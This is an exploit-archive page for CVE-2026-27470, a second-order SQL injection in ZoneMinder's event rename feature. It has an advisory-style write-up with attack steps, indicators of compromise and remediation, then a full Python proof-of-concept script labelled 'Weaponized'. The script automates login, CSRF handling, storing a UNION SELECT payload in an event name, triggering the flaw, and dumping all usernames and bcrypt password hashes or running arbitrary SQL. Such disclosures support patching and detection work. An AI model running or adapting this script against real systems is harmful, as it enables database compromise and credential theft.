PoC Archive PoC Archive
High CVE-2026-27470 patched

ZoneMinder — Second-Order SQL Injection via Event Rename (CVE-2026-27470)

by kocaemre (GitHub) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-27470
Category
web
Affected product
ZoneMinder
Affected versions
<= 1.36.37 and 1.37.61 – 1.38.0 (fixed in 1.36.38 / 1.38.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcherkocaemre (GitHub)
CVE / AdvisoryCVE-2026-27470
Categoryweb
SeverityHigh
CVSS Score8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
StatusWeaponized
Tagszoneminder, sql-injection, second-order-sqli, authenticated, credential-extraction, cwe-89, php
RelatedN/A

Affected Target

FieldValue
Software / SystemZoneMinder
Versions Affected<= 1.36.37 and 1.37.61 – 1.38.0 (fixed in 1.36.38 / 1.38.1)
Language / PlatformPHP (ZoneMinder web UI), Python 3 exploit client
Authentication RequiredYes — account with Events edit and view permission
Network Access RequiredYes

Summary

ZoneMinder’s event-rename functionality (web/ajax/event.php) safely stores a user-supplied event name using a parameterized query, giving no indication anything is wrong. However, the “near events” lookup (web/ajax/status.php, getNearEvents()) later reads that same stored name back out of the database and concatenates it directly into a new SQL query without escaping. This is a textbook second-order (stored) SQL injection: the write is clean and the read is vulnerable, so scanners that only check the write path miss it entirely. An authenticated attacker with Events permissions can rename an event with a UNION SELECT-based payload and then trigger the vulnerable near-events read to exfiltrate arbitrary database contents — including all usernames and bcrypt password hashes — via the JSON response’s NextEventId field. The included Python PoC automates the full two-phase attack, including payload injection, triggering, extraction, and optional restoration of the original event name.


Vulnerability Details

Root Cause

getNearEvents() in web/ajax/status.php builds a SQL WHERE clause by string-concatenating a previously-stored Events.Name (or Cause) value instead of using a parameterized placeholder, allowing a value that was safely written earlier to break out of its string context when read back.

Attack Vector

  1. Attacker logs into ZoneMinder with an account that has Events edit/view permission.
  2. Attacker sends POST /index.php with request=event&action=rename and an eventName payload such as ' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -; this is stored safely via a parameterized UPDATE.
  3. Attacker sends GET /index.php?request=status&entity=nearevents&id=<id>&sort_field=Name&sort_asc=1, which triggers getNearEvents() to re-read the stored name and concatenate it into a new SQL query.
  4. The injected UNION SELECT executes, and the extracted value is returned in the nearevents.NextEventId field of the JSON response.
  5. The PoC repeats this per query/field to dump usernames and password hashes for all users, optionally restoring the original event name afterward.

Impact

Full database read access for any user with minimal Events permissions, including all user credential hashes, enabling offline cracking and privilege escalation to full ZoneMinder admin access.


Environment / Lab Setup

Target:   ZoneMinder <= 1.36.37 or 1.37.61-1.38.0, MariaDB/MySQL backend
Attacker: Python 3 with `pip install requests`, valid ZoneMinder credentials with Events edit+view permission

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 --dump-users

The script logs in and establishes a session, stores a UNION-based SQL payload into an event’s Name (or Cause) field via the safe rename endpoint, triggers the vulnerable near-events lookup to execute the stored payload, and parses the leaked value out of the JSON response — repeating per-query to dump usernames and bcrypt hashes for all users, or to run an arbitrary custom --query. CSRF tokens are handled automatically and the original event name can be restored with default settings.


Detection & Indicators of Compromise

Signs of compromise:

  • Event names containing SQL syntax (quotes, UNION SELECT, comments like -- -) in the Events table
  • Rapid sequences of rename-then-nearevents-query requests from a single authenticated session
  • Unexplained password hash cracking attempts or new admin logins shortly after such request patterns

Remediation

ActionDetail
Primary fixUpgrade to ZoneMinder 1.36.38 or 1.38.1, which parameterizes the stored value used in the near-events query
Interim mitigationRestrict Events edit permission to trusted users only; monitor/alert on event names containing SQL metacharacters

References


Notes

Mirrored from https://github.com/kocaemre/CVE-2026-27470 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#!/usr/bin/env python3
"""
CVE-2026-27470 - ZoneMinder Second-Order SQL Injection PoC
=============================================================
Affected versions : <= 1.36.37 and 1.37.61 - 1.38.0
Fixed in          : 1.36.38 / 1.38.1
Vulnerable file   : web/ajax/status.php -> getNearEvents()

LEGAL DISCLAIMER:
This tool is for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.

Usage:
  python3 poc.py -t http://10.10.10.10 -u admin -p password
  python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
  python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
"""

import argparse
import re
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


BANNER = """
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝
"""


def get_csrf_token(session, target):
    """Extract __csrf_magic token from the page."""
    resp = session.get(f"{target}/", verify=False, allow_redirects=True)
    m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
    if m:
        return m.group(1)
    m2 = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', resp.text)
    if m2:
        return m2.group(1)
    return None


def login(session, target, username, password):
    """
    Authenticate to ZoneMinder and retrieve session cookie + CSRF token.
    If ZM_OPT_USE_AUTH=0, authentication is skipped and only the session is initialized.
    """
    # Load the root page to initialize the session and grab the CSRF token
    resp = session.get(f"{target}/", verify=False, allow_redirects=True)

    # Extract CSRF token
    csrf = None
    m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
    if m:
        csrf = m.group(1)
    if not csrf:
        m2 = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', resp.text)
        if m2:
            csrf = m2.group(1)

    session._zm_csrf = csrf  # Store for later use

    # If auth is disabled, ZoneMinder redirects to the privacy page — session is ready
    if "privacy" in resp.url:
        print("[*] ZM_OPT_USE_AUTH=0 detected — auth disabled, session ready.")
        return True

    # Auth is enabled — send login POST
    data = {
        "view": "login",
        "action": "login",
        "username": username,
        "password": password,
    }
    if csrf:
        data["__csrf_magic"] = csrf

    resp2 = session.post(f"{target}/index.php", data=data, verify=False, allow_redirects=True)

    # Refresh CSRF token after login
    m3 = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp2.text)
    if m3:
        session._zm_csrf = m3.group(1)

    if "logout" in resp2.text.lower() or "console" in resp2.url:
        return True
    if resp2.status_code in (200, 302):
        resp3 = session.get(f"{target}/index.php?view=console", verify=False, allow_redirects=True)
        if resp3.status_code == 200 and "login" not in resp3.url:
            return True
    return False


def get_event_id(session, target):
    """Retrieve any available event ID via the ZoneMinder status API."""
    url = f"{target}/index.php"
    params = {
        "request": "status",
        "entity": "events",
        "sort_field": "Id",
        "sort_asc": "1",
        "limit": "1",
    }
    resp = session.get(url, params=params, verify=False)
    try:
        data = resp.json()
        events = data.get("results", [])
        if events:
            return events[0].get("Id") or events[0].get("id")
    except Exception:
        pass
    return None


def inject_payload(session, target, event_id, payload, field="Name"):
    """
    Phase 1: Write the malicious payload into the event Name or Cause field.
    ZoneMinder uses a parameterized query here — the payload is stored safely.
    """
    url = f"{target}/index.php"
    csrf = getattr(session, '_zm_csrf', None)

    if field == "Name":
        data = {
            "request": "event",
            "action": "rename",
            "id": event_id,
            "eventName": payload,
        }
    else:  # Cause
        data = {
            "request": "event",
            "action": "edit",
            "id": event_id,
            "newEvent[Cause]": payload,
            "newEvent[Notes]": "poc",
        }

    if csrf:
        data["__csrf_magic"] = csrf

    resp = session.post(url, data=data, verify=False)
    return resp.status_code == 200


def trigger_sqli(session, target, event_id, field="Name"):
    """
    Phase 2: Trigger second-order injection via getNearEvents().
    The stored payload is read from the DB and concatenated unsafely into SQL.
    """
    url = f"{target}/index.php"
    params = {
        "request": "status",
        "entity": "nearevents",
        "id": event_id,
        "sort_field": field,
        "sort_asc": "1",
    }
    resp = session.get(url, params=params, verify=False)
    return resp


def restore_event_name(session, target, event_id, original_name="Event"):
    """Restore the event name to its original value after exploitation."""
    url = f"{target}/index.php"
    csrf = getattr(session, '_zm_csrf', None)
    data = {
        "request": "event",
        "action": "rename",
        "id": event_id,
        "eventName": original_name,
    }
    if csrf:
        data["__csrf_magic"] = csrf
    session.post(url, data=data, verify=False)


def run_exploit(target, username, password, sql_query, field="Name", restore=True, manual_event_id=None):
    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"
    })

    print(f"\n[*] Target  : {target}")
    print(f"[*] User    : {username}")
    print(f"[*] Query   : {sql_query}\n")

    # Step 1 — Authenticate
    print("[*] Logging in...")
    if not login(session, target, username, password):
        print("[-] Login failed. Check credentials.")
        sys.exit(1)
    print("[+] Session established.")

    # Step 2 — Get event ID
    if manual_event_id:
        event_id = manual_event_id
        print(f"[+] Event ID (manual): {event_id}")
    else:
        print("[*] Looking for an event ID...")
        event_id = get_event_id(session, target)
        if not event_id:
            print("[-] No events found. Specify one manually with --event-id.")
            sys.exit(1)
        print(f"[+] Event ID: {event_id}")

    # Step 3 — Build UNION-based payload
    # Events.Name is varchar(64) — keep payloads under 63 characters
    # UNION SELECT requires 2 columns to match (Id, StartDateTime)
    union_payload = f"' UNION SELECT ({sql_query}),NULL-- -"

    print(f"[*] Injecting payload into '{field}' field...")
    if not inject_payload(session, target, event_id, union_payload, field=field):
        print("[-] Failed to write payload. Check permissions.")
        sys.exit(1)
    print("[+] Payload stored via parameterized query — looks clean in the DB.")

    # Step 4 — Trigger second-order injection
    print("[*] Triggering second-order injection...")
    resp = trigger_sqli(session, target, event_id, field=field)

    print(f"[*] HTTP {resp.status_code}")

    result = None
    try:
        data = resp.json()

        # Real ZoneMinder response: {"nearevents": {"NextEventId": "<RESULT>"}}
        nearevents = data.get("nearevents", {})
        if nearevents:
            result = (nearevents.get("NextEventId")
                      or nearevents.get("PrevEventId")
                      or nearevents.get("NextEventStartTime"))

        # Fallback: {"results": [...]}
        if not result:
            results = data.get("results", data.get("data", []))
            if results:
                result = results[0].get("Id") or results[0].get("StartDateTime")

        if not result:
            result = str(data)
    except Exception:
        result = resp.text[:500]

    # Step 5 — Cleanup
    if restore:
        restore_event_name(session, target, event_id)
        print("[*] Event name restored.")

    return result


def main():
    print(BANNER)
    parser = argparse.ArgumentParser(
        description="CVE-2026-27470 — ZoneMinder Second-Order SQL Injection PoC"
    )
    parser.add_argument("-t", "--target",    required=True, help="Target URL (e.g. http://10.10.10.10)")
    parser.add_argument("-u", "--username",  required=True, help="ZoneMinder username")
    parser.add_argument("-p", "--password",  required=True, help="ZoneMinder password")
    parser.add_argument("--event-id",        type=int,      help="Event ID to use as injection carrier")
    parser.add_argument("--field",           default="Name", choices=["Name", "Cause"],
                                             help="Injection field (default: Name)")
    parser.add_argument("--query",           default="SELECT VERSION()",
                                             help="SQL query to execute")
    parser.add_argument("--dump-users",      action="store_true",
                                             help="Dump all usernames and password hashes")
    parser.add_argument("--no-restore",      action="store_true",
                                             help="Do not restore the event name after exploitation")

    args = parser.parse_args()
    target = args.target.rstrip("/")
    eid = args.event_id

    if args.dump_users:
        print("[*] Mode: User dump")

        count_result = run_exploit(
            target, args.username, args.password,
            "SELECT COUNT(*) FROM Users",
            field=args.field,
            restore=not args.no_restore,
            manual_event_id=eid
        )
        print(f"\n[+] User count: {count_result}\n")

        # Events.Name is varchar(64) — fetch username and hash separately to stay within limit
        for i in range(10):
            uname = run_exploit(
                target, args.username, args.password,
                f"SELECT Username FROM Users LIMIT {i},1",
                field=args.field, restore=not args.no_restore, manual_event_id=eid
            )
            # Empty result means no more users
            uname_str = str(uname) if uname else ""
            if not uname_str or uname_str in ("None", "1", "") or "{" in uname_str:
                break
            passwd = run_exploit(
                target, args.username, args.password,
                f"SELECT Password FROM Users LIMIT {i},1",
                field=args.field, restore=not args.no_restore, manual_event_id=eid
            )
            print(f"[+] User {i+1}: {uname}:{passwd}")
    else:
        result = run_exploit(
            target, args.username, args.password,
            args.query,
            field=args.field,
            restore=not args.no_restore,
            manual_event_id=eid
        )
        print(f"\n[+] Result: {result}\n")


if __name__ == "__main__":
    main()